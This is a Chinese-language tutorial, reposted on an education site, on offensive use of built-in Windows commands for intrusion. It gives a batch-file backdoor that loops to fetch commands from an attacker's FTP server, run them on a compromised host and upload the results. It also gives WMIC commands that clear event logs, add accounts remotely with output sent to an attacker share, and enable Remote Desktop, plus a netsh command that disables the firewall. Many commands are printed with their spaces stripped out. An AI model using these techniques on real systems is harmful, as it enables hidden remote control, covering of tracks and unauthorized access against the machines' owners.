您好,欢迎来到化拓教育网。
搜索
您的当前位置:首页Windows_command_kungfu

Windows_command_kungfu

来源:化拓教育网
Windows命令行功夫

作者:mickey[I_S_T_O]

邮箱:54mickey_at_gmail.com

因为现在把渗透平台转到ubuntu了,发现在linux下,对网络支持(wget,curl)和文本处理(sed,awk,grep)好强大,学学bash,就能写个简单的小脚本,用在渗透中。以前也一直疏忽在windows下的命令行进行渗透时候的整理,直到最近看了几节SANS推出的课程,才恍然大悟,原来光通过Windows自带的系统命令,也能写个小后门,删除日志的程序的,关键还是想象力啊。:-)一.使用系统默认命令建立远程命令行shell

原理:

在能控制的一台机器上配置ftp服务器(20cn迷你ftp服务器),或者去找一台有读(get)写(put)权限的ftp服务器,然后在肉鸡上安装我们编写的批处理后门,该批处理通过get到ftp服务器取得要执行的命令文本,然后本地运行,最后再通过put到ftp服务器,把执行的结果返回。代码:

echoopen192.168.1.201>f.txt&echomickey>>f.txt&echomickey>>f.txt&echoputoutput.txt>>f.txt&echogetcommands.txt>>f.txt&echodeletecommands.txt>>f.txt&echobye>>f.txt&for/l%%iin(1,0,2)do(ftp-s:f.txt&deloutput.txt&(for/f\"delims=^\"%%jin(commands.txt)docmd.exe/c%%j1>output.txt&delcommands.txt)&ping-n5127.0.0.1>nul)

脚本简要解释:

echoopen192.168.1.201>f.txt&echomickey>>f.txt&echomickey>>f.txt&echoputoutput.txt>>f.txt&echogetcommands.txt>>f.txt&echodeletecommands.txt>>f.txt&echobye>>f.txt

生成一个f.txt文本,里面存放的是要远程连接ftp账户的信息,要get回来的commands.txt命令集,和要put回去的output.txt结果集,最后把ftp服务器上的commands.txt删除。这里写bat要注意&前后不要有空格,否则生成出来的f.txt里的ftp账户登陆信息会多出空格的,这个问题会导致我们登录ftp失败的。for/l%%iin(1,0,2)do

一个for死循环,不停的执行do()内的命令

for/f\"delims=^\"%%jin(commands.txt)docmd.exe/c%%j1>output.txt

使用for调用commands.txt文件里的命令,并且把输出结果放到output.txt,最后删除本地的commands.txt,这里写bat要注意%j要用%%j来替换,才能在bat文件里生效。

实际效果:

在192.168.1.69肉鸡上运行bat,会看到释放出了f.txt,在192.168.1.200的ftp服务器上放置commands.txt,commands.txt内容为

netuserkj021302pt007/add&&ipconfig&&ver

过大概4秒的时间,ftp服务器上的commands.txt被删除了,随后多出一个output.txt,里面就是运行结果了

二.使用wmi删除日志,远程执行命令及开启远程桌面

WMIC可以做很多事情,进程管理(如wmicprocesslistbrief),服务管理(wmicservicewherestarted=\"true\"),理解系统补丁信息.(micqfewherefixcomments=\"update\"gethotfixid,installedon,installedby),账户管理(wmicuseraccount)等等,我说两个在渗透的时候最有用的吧,1.清除日志(系统,安全,应用程序):

C:\\>wmicnteventlogwhere(descriptionlike\"%secevent%\")callcleareventlogC:\\>wmicnteventlogwhere(descriptionlike\"%sysevent%\")callcleareventlogC:\\>wmicnteventlogwhere(descriptionlike\"%appevent%\")callcleareventlog2.替代psexec远程执行命令

C:\\>wmic/node:192.168.1.112/user:administratorprocesscallcreate\"cmd.exe/cnetusermickeymickeymouse/add>>\\\\192.168.1.69\\xiaolin\\result.txt\"输入密码:*

执行(Win32_Process)->Create()

方法执行成功。输出参数:

instanceof__PARAMETERS{

ProcessId=4392;ReturnValue=0;

};

这句话的意思是,在192.168.1.112的机器上添加一个叫mickey的用户并把结果返回到本地的xiaolin共享目录,需要注意的是本地的共享需要开启匿名访问,否则就算命令提示执行成功了,用户也是没有添加上的,最保险的方法就是wmic/node:192.168.1.112/user:administratorprocesscallcreate\"cmd.exe/cnetusermickeymickeymouse/add\",然后通过33来验证用户是否添加了。3.开启远程桌面

如果已经有一个目标主机cmdshell的话,则:

C:\\>wmicrdtogglewhereservername=\"www-f6fc33300ff\"callsetallowtsconnections1

执行(\\\\WWW-F6FC33300FF\\ROOT\\CIMV2:Win32_TerminalServiceSetting.ServerName=\"WWW-F6FC33300FF\")->setallowtsconnections()方法执行成功。输出参数:

instanceof__PARAMETERS{

ReturnValue=0;

};

如果是远程操作的话,需要目标开启了“远程注册表”服务,才能成功

C:\\>wmic/node:\"192.168.1.112\"/user:administratorrdtogglewhereservername=\"www-7b75d96ea98\"callsetallowtsconnections1输入密码:*

执行(\\\\WWW-7B75D96EA98\\ROOT\\CIMV2:Win32_TerminalServiceSetting.ServerName=\"WWW-7B75D96EA98\")->setallowtsconnections()方法执行成功。输出参数:

instanceof__PARAMETERS{

ReturnValue=0;

};

三.使用netsh管理windows防火墙

1.查看防火墙配置,包含日志记录,网卡信息,过滤信息C:\\>netshfirewallshowconfig2.临时禁止防火墙

C:\\>netshfirewallsetopmoddisable

希望喜欢渗透测试或有工具使用心得的朋友来和我一起交流。

因篇幅问题不能全部显示,请点此查看更多更全内容

Copyright © 2019- huatuo9.cn 版权所有 赣ICP备2023008801号-1

违法及侵权请联系:TEL:199 18 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务